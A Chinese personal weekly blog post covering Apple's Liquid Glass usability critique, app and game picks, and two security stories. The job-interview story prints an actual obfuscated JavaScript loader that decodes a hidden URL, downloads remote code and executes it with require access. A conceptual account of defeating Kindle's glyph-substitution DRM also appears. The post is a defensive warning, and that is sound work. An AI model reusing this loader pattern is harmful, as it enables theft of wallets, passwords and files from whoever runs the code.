summaryrefslogtreecommitdiff
path: root/content/posts/weekly/51.md
blob: c625516df430eaaef93c2914635b7254e6b43761 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
---
title: 稻草人周刊 Vol.51
subtitle: Liquid Glass 的罪行
tags:
- Apple
- 设计
- 隐私
- 游戏
categories: 稻草人周刊
date: 2025-10-20 08:36:00
draft: false
toc: true
aliases:
- /posts/weekly/51
---


{{< music cover="https://image.guhub.cn/uPic/2025/10/The_Tortured_Poets_Department_The_Anthology.png" title="loml" artist="Taylor Swift" apple="https://music.apple.com/cn/album/loml/1742057774?i=1742058103" spotify="https://open.spotify.com/track/3YkNIrAvbKNrrwwEd7NVLl" >}}

大概是下雨的关系,这几天总是在路上听这首歌。

<!--more-->

---

## ↯ · 当下

- 把 IntelliJ IDEA 卸载了,一方面是它真的太重了,另一方面是最近写代码的时候遇到好几个莫名其妙的问题,和代码无关,IDEA 重装之后也无法正常打开项目,完全不知道怎么排查。如果不用图形界面的话,就完全不会有这些问题,所以我就全面转向 Zed 编辑器和命令行工具了。自己需要写 Java 代码的时间其实相对较少,用得更多的语言是 JavaScript、Lua 还有偶尔的 Go 语言,这些语言我都能够用一个简单轻量的编辑器,加上本身就足够好用、清晰的命令行工具搭建开发环境。
  
  明明 Spring Boot 的 `mvn spring-boot:run` 和 JavaScript 的 `npm run dev` 一样好用,命令行排查问题也更方便、加载速度也更快,真不知道为什么非要用一个又贵又难用的图形界面工具。即使是开发大型软件,这种配置也更接近真实的运行环境,而且各种操作都是透明的,没有伪装成按钮和表格的「魔法」。
  
  如果我要更进一步的话,我大概就会去用 Emacs 或者 Vim 编辑器了。
- 这周读完了三本书,分别是萨特的《[存在主义是一种人道主义](/library/2025/存在主义是一种人道主义/)》《[零废弃](/library/2025/零废弃/)》和《[控糖革命](/library/2025/控糖革命/)》,可以在博客阅读我写的三篇书评。读完之后我也在逐渐把家里的塑料制品逐步替换为金属、玻璃、硅胶或陶瓷材质的;开始控糖,在餐前吃富含纤维的开胃菜、喝醋汁、饭后适度运动。

## ⋈︎ · 连接

### Liquid Glass 的罪行

> [!note] 📜
> [Liquid Glass Is Cracked, and Usability Suffers in iOS 26 - NN/G](https://www.nngroup.com/articles/liquid-glass/)

本文批评了 Apple 的新设计语言「Liquid Glass」,认为新设计让内容变得更复杂,从而降低了实用性,而且一些新的设计方案摒弃了已有的操作习惯和传统。

最值得诟病的是液态玻璃的「透明度」,尽管经过几轮测试之后,可读性有了提升,但层级的缺失使得两层甚至三层内容经常堆叠在一起。这不仅是可读性很差,而且非常**丑**。许多元素经常叠在一起抢占空间,还抢占用户的注意力。

新系统里的动效非常丰富,但很多都没有必要。作者说,苹果的新界面像是无时不刻地在喊「看看我!」,然而界面实际上应该让步给内容。有很多动画不仅令人困惑且没有意义,还让整个界面看起来很复杂、很「慢」。

由于新系统里多了很多悬浮按钮,而这些按钮都有玻璃背景,玻璃两边离屏幕边缘有很大的距离,再加上无处不在的大圆角,防止按钮的空间其实被压缩了,这也就导致可供用户点击的空间变小了,也让按钮挤在一起。最气人的是 Safari,当「前进」「后退」和「菜单」按钮都显示出来时,中间的地址栏就会被挤成一小条,甚至分辨自己在哪个网站上都变得很困难。

作者还批评了 iOS 26 的「可预测性」(predictability),类比了 Microsoft Office 曾经「把用户常用的按钮放在前面」这种看似合理但实际上非常难用的策略,动态、变化的 UI 会让用户没有办法在原来的地方找到自己想要的功能,反而需要更多的时间导航。在以「健康」为例的原生应用里,用户一点击搜索框,左边的导航栏就会收缩起来变成一个——我自己的体会是,这的确会让我在切换页面时看到困惑;尽管能够理解这种设计,也不至于因此而迷路,但这就是没有不会变化的界面来得直观和快捷。

在以前,iOS 上各种 App 的搜索框都被放置在页面最上方,用户下拉页面就能看到折叠起来的收缩框。现在,Apple 把搜索框固定到了界面下方,可以随时点击。然而,习惯了下拉进行搜索的老用户明显会感到不习惯,需要重新学习。Apple 还移除了面包屑导航,现在点击返回按钮时用户需要回忆自己会回到什么地方。

总而言之,作者认为苹果的新设计「美观性大于实用性」(prioritizing spectacle over usability),很多设计都只可远观,不可亵玩。

#### 我的观点

一开始我其实很喜欢 Liquid Glass,因为 Apple 展示的宣传界面的确令人眼前一亮。不过,自己更新新系统使用了一两个月之后,我就逐渐对 Liquid Glass 失望了。至少,我觉得这种设计语言完全不应该大量地出现在 macOS 上——电脑这种有大量精细操作的设备为什么会需要这么多圆角?

此外,我原本以为全新的 Spotlight(聚焦搜索)可以代替 Raycast,毕竟我只是这个软件的轻度用户。不过频繁打开 Spotlight 之后发现它的淡入淡出动画真的很烦人,太慢了,经常让我感觉没有打开,于是按了两遍快捷键,结果第二次操作的时候就关掉了 Spotlight……

#设计 #Apple 

### 我差点被一个「工作面试」偷走数字身份

> [!note] 📜
> [How I Almost Got Hacked By A 'Job Interview'](https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview)

作者是一个很注重隐私和数据安全的程序员,最近他在领英上收到了一个工作面试邀请,查看对方身份之后发现是一个正规的公司,于是就接受了。面试之前,面试官给它发送了一个 GitBucket 仓库,要求在面试之前的三十分钟内完成这个测验。作者起初觉得这很正常,很多面试官都会这样检验面试者的实操能力;由于时间很紧,作者没怎么调试就直接做完了题目,在最终要执行 `npm run start` 启动项目的时候,他突然觉得哪里不对劲。

于是他向 Cursor 的 AI Agent 问了一个问题:

> 在我运行这个应用之前,你能不能帮我检查一下代码库里有没有什么可疑的代码?

Agent 帮他翻出来了这段代码:

```js
//Get Cookie  
(async () => {  
    const byteArray = [  
        104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,  
        110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,  
        98, 50, 48, 51, 49, 102, 98, 57  
    ];  
    const uint8Array = new Uint8Array(byteArray);  
    const decoder = new TextDecoder('utf-8');  
    axios.get(decoder.decode(uint8Array))  
        .then(response => {  
            new Function("require", response.data.model)(require);  
        })  
        .catch(error => { });  
})();
```

将 `byteArray` 解码之后会得到一个链接,这段代码的作用就是从这个链接中下载并执行代码,而这段来自网络的代码是纯粹的恶意软件,会偷走加密钱包、文件、密码和你的整个数字身份的那种。由于这段代码被写在服务端的控制器里,在运行时拥有系统权限,真的非常邪恶。并且,这个链接在 24 小时之后就失效了,对方早就做好了销毁证据的准备。

作者后来在评论区表示,对方在发现自己还没有执行代码之后,将工作面试推迟了两次,然后作者把这篇文章的草稿发给了他们,之后就被拉黑了。后来这家公司的招聘人员和创始人还来这篇文章下回复,表示他们正在调查,并且这种恶意事件和他们没有关系,他们只是忘记修改领英的默认设置,导致任何人都可以和他们的企业关联起来。

#### 我的观点

AI 编程工具的妙用:检查恶意代码。在运行来源不明的代码之前,花一两分钟的时间请大模型帮忙扫描一遍代码库,是真的能救命的。读完这篇文章也让我开始警觉,我从未想过用 `npm run start` 执行一个简单的前端项目也有被黑的可能性。

#隐私 

### 我「逆向工程」了 Amazon 的 Kindle 图书服务

> [!note] 📜
> [How I Reversed Amazon's Kindle Web Obfuscation Because Their App Sucked](https://blog.pixelmelt.dev/kindle-web-drm/)

因为 Amazon 做的 App 实在是太难用,作者想把他在 Amazon 购买的电子书下载到设备上,用一个好用的阅读器软件来阅读,结果发现他只能在 Amazon 的软件里访问自己花钱购买的电子书。作者本可以直接退款,但他认为自己付过钱,就理应能够把电子书导入 Calibre,和自己其他的书一起阅读。

所以他逆向工程了 Amazon 的 Web 客户端,结果发现,Amazon 不会明文传输电子书文本,而是用到了替换加密,每个字对应的是字体中的一个字形(Glyph);而且 API 限制一次只能请求五页,每次请求,这个字形的映射都会改变,也就是说作者无法创建一个适用于整本书的字形映射表。

```json
{
  "type": "TextRun",
  "glyphs": [24, 25, 74, 123, 91, 18, 19, 30, 4, ...],
  "style": "paragraph"
}
```

一个编码对应的是字形的 SVG 定义,Amazon 在这里还用到了 SVG 的移动操作(MoveTo Opertaion),由于浏览器原生支持 Path2D,所以能够正常渲染,而 Python 的 SVG 库则不行;由于这里的移动操作是随机的,所以也不能通过字符串匹配的方式构造字形映射,也就是说,就算是相同的字符,其 SVG 定义也会有微小的差异。

最后作者换了一个 SVG 库,把每一个 SVG 渲染成图片,然后用图片生成 Hash,这样就算同一个字形的 SVG 定义有差异,Hash 也是不会变的;通过这个 Hash 作者构造出了一个映射表,生成了 EPUB 格式的电子书。

#### 我的观点

尽管这种操作的法律正规性存疑(作者的确破解了加密方式并传播了方法,但没有传播破解软件,文章里甚至没有一行他写的代码),但不失为一种学习和练习技术的方式。

读完之后我开始思考,如果电子书平台在用户购买书籍之后都不允许下载电子书文件,只允许在限定的 App 里阅读,那真的能算作购买吗?在文中,作者认为这是「租用」,要是企业跨掉了,或者只要他们想,你就没办法访问你「购买」的电子书了。出于这种原因我始终不愿意在这样的「正规渠道」购买电子书,我选择更多地阅读纸质书,或者下载免费的电子书资源。如果购买意味着真正的「拥有」,那我才会愿意像购买纸质书一样购买电子书。也有可能,由于数字产品的特殊性,这点没办法做到吧。

## ⁂ · 星群

### AirBattery

一个开源的 macOS 应用,提供更多的电量显示,支持本机、iPhone、iPad、AirPods 以及各种蓝牙配件,电量可以用小组件、Dock 栏图标和菜单栏图标等形态展示,还能设置低电量和高电量提醒。软件支持零配置开箱即用,但第一次使用还是需要操作一下:需要用数据线连接 iPhone 并信任设备,然后在设置里打开允许通过蓝牙发现设备,才能正常显示 iPhone 电量,成功配对 iPhone 之后能够自动配对 Apple Watch;通过 Nearcast 功能,可以通过局域网广播的方式同步其他 Mac 的电量…… 不是苹果但带有蓝牙电显功能的蓝牙设备似乎不能正常显示电量,至少我的设备上没有。

我其实很少会检查设备的电量,经常在要出门的时候才发现 iPad 或者 MacBook 没电了(最坏的情况是 AirPods 也没电了,不过有无线充电设备之后这种情况就很少发生了)。通过小组件聚合显示所有设备的电量的确会方便不少,能提醒我及时给设备们充电。

![](https://image.guhub.cn/picgo2025/202510132133053.png)

访问:[lihaoyun6/AirBattery](https://github.com/lihaoyun6/AirBattery)

### 1Capture

一款基础功能免费,高级功能付费的截图软件。高级功能包括移除水印、滚动截图、固定图片到桌面、文字识别和类似 Cleanshot X 的截图美化。包括基础功能在内的各种使用体验都做得非常优雅,1Capture 的箭头标注工具大概是我见过最好看的了,还有自带的贴纸,贴上自带阴影,而且每个贴纸都长得很好看。目前 1Capture 终身买断价格为 ¥98,我决定先试用 7 天,搞不好真的又要花钱购买了。

其实 1Capture 从功能上来讲,完全可以被 PixPin 的免费功能替代,奈何后者是 Qt 开发的,放到 macOS 上还是太丑了。如果不在意美观程度,完全可以用 PixPin 替代。ß

![](https://image.guhub.cn/picgo2025/close_help.avif)

访问:[1Capture](https://docs.1capture.com/cn/start)

### Is This Seat Taken?

大概是一个月以前买的游戏,最近才治好「电子阳痿」打开来玩。玩法是根据不同小人的需求,将所有人安置到适合他们的位置上,比如有的人不喜欢旁边有人、不喜欢和小孩待在一起,有的人没洗澡或者喷了太多香水,而相应的会有人希望离这些气味远一点,还有的小孩子想和别的小孩坐在一起,有的人想和别人说话,而有的人因为想要读书或睡觉,想要离那些说话和外放音乐的人远一些。

游戏的难度适中,玩到第三大关还没有遇到卡关的情况,但也有不少有挑战的关卡。游戏中会有反复出现的人物,玩家可以见证他们前往不同城市、遇到不同的人发生的故事,还算是增加了一些趣味性。游戏的画风也很可爱,我尤其喜欢这种柔和的配色,总之,推荐一玩。

![](https://image.guhub.cn/picgo2025/20251019-is-this-seat-taken-game.jpeg)

访问:[Is This Seat Taken? on Steam](https://store.steampowered.com/app/3035120/Is_this_Seat_Taken/)

### meow.camera

人类,你可以观看猫咪进食。

![](https://image.guhub.cn/picgo2025/20251019-mewocamera.jpeg)

访问:[meow.camera](https://meow.camera/)